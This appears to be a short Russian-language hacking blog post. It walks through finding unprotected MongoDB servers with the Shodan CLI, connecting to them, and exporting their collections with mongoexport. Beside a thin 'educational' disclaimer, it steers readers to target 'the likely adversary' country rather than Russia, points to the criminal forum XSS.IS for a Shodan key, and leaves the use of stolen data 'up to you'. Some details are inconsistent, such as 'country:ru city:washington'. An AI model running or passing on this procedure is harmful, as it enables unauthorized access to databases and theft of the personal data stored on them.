MongoDB Data Leakage
xDoom
Утечки данных MongoDB.
Заметка не призывает к деструктивным действиям, вся информация даётся в образовательных целях.
Помните, неправомерный доступ к компьютерной информации является уголовно-наказуемым преступлением.
Новости об утечках данных перестали удивлять. Целью воровства информации зачастую становятся персональные данные.
Основная причина возможности утечки информации - неверная настройка доступа к базам данных [1].
В заметке отражен пример доступа к базе данных (БД) MongoDB. Поиск открытых БД будем производить в поисковике Shodan.
Для начала необходимо установим клиент Shodan для Python[2].
$ easy_install shodan
После полной установки, необходимо инициализировать клиент, указав свой API-key. Ключ можно найти в профиле пользователя Shodan, предварительно зарегистрировавшись.
Где взять API-key не регистрируясь рассказано в статье на ресурсе XSS.IS [3]
$ shodan init <API-key>
Получив сообщение Successfully initialized можно приступать к поиску.
Поиск удобнее вести, указывая определенный продукт, страну и город. Учтите, что порядочные исследователи не выбирают целью исследования Россию.
Поэтому в качестве top-level domain можно выбрать страну вероятного противника.
$ shodan search product:mongodb country:ru city:washington
Вывод команды может выдать большой список данных, неудобных для разбора. Для удобства можно скачать данные в формате JSON.
$ shodan download mnogodb product:mongodb country:us
Далее для анализа данных используйте параметр parse, а также указание необходимых полей для вывода и разделитель данных.
$ shodan parse --fields ip_str,org --separator , mnogodb.json.gz
Также полученные данные можно конвертировать в файлы формата xlsx и csv для последующего анализа.
$ shodan convert mnogodb.json.gz xlsx
После получения необходимых адресов серверов баз данных, можно подключиться к ним используя клиент MongoDB [4].
Установка клиента осуществляется просто (на примере Ubuntu Linux):
$ sudo apt install mongodb
Подключение к серверу БД и просмотр баз:
$ mongo <ipaddress>
$ show dbs
После нахождения интересующей вас информации можно скопировать данные определенной таблицы (коллекции, в терминах БД) [5]:
$ mongoexport --db <dbname> --collection <collectionname> --out dbexport.json
Что делать с полученными данными - решать вам.
[1] https://docs.mongodb.com/manual/security/
[3] https://xss.is/threads/27486/
[4] https://docs.mongodb.com/manual/mongo/
[5] https://docs.mongodb.com/manual/reference/program/mongoexport/index.html